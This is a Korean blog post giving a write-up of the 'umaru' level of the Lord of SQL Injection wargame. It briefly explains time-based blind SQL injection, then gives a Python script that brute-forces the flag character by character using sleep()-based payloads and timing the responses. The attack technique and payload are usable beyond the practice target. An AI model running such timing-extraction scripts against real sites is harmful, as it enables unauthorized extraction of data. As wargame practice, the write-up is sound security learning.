본문 바로가기
war game/웹 워게임(los)

load of sql injection umaru

by 강깅꽁 2016. 9. 15.

time based sql injection이다.


서버 응답의 시간을 기준으로 참과 거짓을 판별한다. blind sql inejction과 느낌은 비슷하다.

서버가 error에 반응을 안하거나 blind sql injection으로 내가 원하는 값을 확인할 수 없을 때 사용하면 좋다.


파이썬 코드

import requests

import re

import time

custom_headers = {

   'User-Agent': 'Dalvik/2.1.0',

   'Host': 'los.sandbox.cash',

   'Connection': 'Keep-Alive',

        'Cookie': '__cfduid=ded2179a317b40c718482d2535a9b2a2b1472712358; PHPSESSID=66k4fq3sqmcuifnd96oql9tnh1'

}


id=""

for i in range(1,17):

    for j in range(47,127):

        aa=''

        find=0

        head1="http://los.sandbox.cash/chall/umaru_5f885f7ccc40024bc3296c529af5dea7.php?flag=sleep(flag%20like%20%27"

        head2="%s" % id

        head3="%s" % chr(j)

        head4="%%27)>(select%201%20union%20select%202)"

        print head1+head2

        start = time.time()

        r=requests.get(head1+head2+head3+head4,headers=custom_headers)

        aa=r.content

        roundtrip = time.time()-start

        print roundtrip

        if int(roundtrip) == 1:

            print "found!"

            id+=chr(j)

            break



print "key is %s" %(id)